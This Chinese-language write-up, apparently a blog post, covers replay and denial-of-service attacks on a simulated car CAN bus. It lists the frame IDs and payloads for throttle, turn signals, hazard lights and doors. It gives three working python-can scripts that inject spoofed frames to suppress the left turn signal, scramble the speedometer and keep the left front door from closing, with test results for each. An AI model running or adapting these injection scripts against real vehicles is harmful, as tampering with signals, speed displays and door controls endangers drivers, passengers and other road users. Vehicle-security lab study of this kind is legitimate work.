攻击模拟
重放攻击
加速:26B#00000000XX000 其中XX高位为0,低七位为速度变化大小
减速:26B#00000000XX000 其中XX高位为1,低七位为速度变化大小
左转 478#0000000000010000
右转 478#0000000000020000
双闪 478#0000000000030000
6E9#000000000X X为控制字段,控制逻辑与之前一致
重放关键单帧
重放转向帧



重放速度控制帧
加速

车门控制




重放一段时间内的帧
做如下操作,
加速,左转,开左门,右转,开右门,双闪,减速
监听操作
进行重放






Dos攻击
1、左转向灯无法正常亮起、右转向灯可正常控制。
实时监听CAN总线:捕获ID为0x46A的报文。
选择性覆盖:当检测到数据字段包含01(左转)时,立即注入覆盖帧(如46A#0000000000),强制左转向灯状态归零110。
放行右转信号:对包含02的报文不做处理,允许正常传输。
import can
import time
def left_turn_dos_attack():
bus = can.interface.Bus(channel='vcan0', bustype='socketcan')
# 目标仲裁ID
target_id = 0x46A
print("启动左转向灯DoS攻击...")
print("攻击策略:覆盖所有左转信号(46A#01...),放行右转信号(46A#02...)")
try:
while True:
# 监听总线
msg = bus.recv(timeout=0.01)
if msg and msg.arbitration_id == target_id:
# 检测左转信号(数据首字节为0x01)
if msg.data[0] == 0x01:
# 构造覆盖帧:所有字节归零
spoof_data = [0x00] * 8
spoof_msg = can.Message(
arbitration_id=target_id,
data=spoof_data,
is_extended_id=False
)
# 立即注入覆盖帧
bus.send(spoof_msg)
print(f"覆盖左转信号: {msg.data.hex()} -> 00...")
except KeyboardInterrupt:
print("攻击终止")
if __name__ == "__main__":
left_turn_dos_attack()
测试攻击效果
测试左转


测试右转效果


2、仪表盘失灵,加速时无法正确显示当前速度。
这里的主要思路,就是监听是否为加速状态,如果处于加速状态,就将其速度设为随机值,干扰仪表盘操作
这里有个问题,当处于不操作的状态时,线路上依然会有速度控制的数据帧,这里经过测试发现是1km/h,因此这里的检测机制就很明白了
import can
import time
import random
def speed_display_dos_attack():
# 配置虚拟CAN接口
bus = can.interface.Bus(channel='vcan0', bustype='socketcan')
# 目标仲裁ID
target_id = 0x26B
print("启动速度显示DoS攻击...")
print("攻击策略:注入随机速度值覆盖真实车速显示")
print("按Ctrl+C停止攻击")
try:
last_speed = 0
while True:
# 监听真实速度更新
msg = bus.recv(timeout=0.001)
if msg and msg.arbitration_id == target_id and msg.data[4]!=0x01:
real_speed = msg.data[4]
# 检测加速状态 (速度增加>5km/h)
if real_speed > last_speed + 5:
# 加速时注入极端值
attack_data = [0x00, 0x00, 0x00, 0x00, random.choice([0, 255]), 0x00, 0x00, 0x00]
else:
# 其他情况注入随机值
attack_data = [0x00, 0x00, 0x00, 0x00, random.randint(0, 255), 0x00, 0x00, 0x00]
# 创建并发送CAN消息
msg = can.Message(
arbitration_id=target_id,
data=attack_data,
is_extended_id=False
)
bus.send(msg)
last_speed = real_speed
print(f"当前真实速度: {real_speed} km/h | 注入攻击值: {attack_data[4]} km/h", end='\r')
except KeyboardInterrupt:
print("\n攻击停止")
if __name__ == "__main__":
speed_display_dos_attack()
初始不操作状态时,仪表盘也相当稳定

这里开始加速


此时,仪表盘的指针快速跳动,无法显示真实的速度值
3、左前门无法正常关闭,其余车门可正常控制。
这里的思路,就是实时监控车门控制报文
- 当检测到试图关闭左前门的命令时,立即覆盖该报文
- 对其他车门控制命令不做干扰
测试
import can
import time
import threading
class SelectiveDoorAttack:
def __init__(self):
# CAN接口配置(根据实际情况修改)
self.bus = can.interface.Bus(channel='vcan0', bustype='socketcan')
self.target_id = 0x6E9
self.running = False
# 攻击报文 - 左前门强制打开,其他车门保持当前状态
self.attack_data = bytes.fromhex("000000000E000000")
# 状态维护报文 - 每秒发送1次
self.status_data = bytes.fromhex("000000000E000000")
# 当前车门状态缓存
self.door_state = {
'left_front': 'open',
'right_front': 'unknown',
'left_rear': 'unknown',
'right_rear': 'unknown'
}
def parse_door_state(self, data):
# 提取控制字段(最后1字节的低4位)
control_byte = data[4] & 0x0F
# 映射到车门状态
state_map = {
0x0: {'left_front': 'open', 'right_front': 'open', 'left_rear': 'open', 'right_rear': 'open'},
0x1: {'left_front': 'closed', 'right_front': 'open', 'left_rear': 'open', 'right_rear': 'open'},
0xE: {'left_front': 'open', 'right_front': 'closed', 'left_rear': 'closed', 'right_rear': 'closed'},
0xF: {'left_front': 'closed', 'right_front': 'closed', 'left_rear': 'closed', 'right_rear': 'closed'}
}
return state_map.get(control_byte, self.door_state)
def is_closing_left_front(self, data):
control_byte = data[4] & 0x0F
# 当控制字段表示关闭左前门时(1,3,5,7,9,B,D,F)
return control_byte & 0b0001 == 1
def generate_counter_frame(self, original_data):
# 保持原始数据,仅修改左前门状态为打开
counter_data = bytearray(original_data)
# 清除左前门关闭位 (bit0),设置左前门打开 (bit1=1, bit0=0)
counter_data[4] = (counter_data[4] & 0b11110000) | 0b1110
return bytes(counter_data)
def monitor_and_attack(self):
print("启动选择性干扰攻击...")
while self.running:
msg = self.bus.recv(timeout=0.1)
if msg and msg.arbitration_id == self.target_id:
# 更新车门状态缓存
self.door_state = self.parse_door_state(msg.data)
if self.is_closing_left_front(msg.data):
print("检测到左前门关闭命令,发送干扰帧")
counter_frame = self.generate_counter_frame(msg.data)
attack_msg = can.Message(
arbitration_id=self.target_id,
data=counter_frame,
is_extended_id=False
)
self.bus.send(attack_msg)
def start_attack(self):
self.running = True
# 启动监听线程
monitor_thread = threading.Thread(target=self.monitor_and_attack)
monitor_thread.daemon = True
monitor_thread.start()
print("攻击已启动,按Ctrl+C停止")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
self.stop_attack()
def stop_attack(self):
"""停止攻击"""
self.running = False
print("攻击已停止")
if __name__ == "__main__":
attack = SelectiveDoorAttack()
attack.start_attack()
启动脚本
这里尝试关闭左前门

发现无法关闭左前门
打开/关闭右前门


打开/关闭左后门


打开/关闭右后门


这里会有一个问题,由于控制车门的帧,表示的是一个状态,所以他不会考虑前一个状态;但是我们对车门的操作是则是一个具体的操作,比如车门开关;这里经过测试,状态是由这个操作盘来记录,初始时刻是车门全关,由操作来改变车门状态,他会事先记录这个状态通过操作是什么状态,然后发送一个相应状态的数据帧。因此这里如果关闭左前门,实际上左前没有关闭,但是操作盘默认左前门已经关闭,因此使用这个方法,可能会使得其他车门的操作也被拦截。
这里如果要解决的话,就是在拦截一次过后,就要对监控的状态进行修改,确保不影响其他车门的操作

浙公网安备 33010602011771号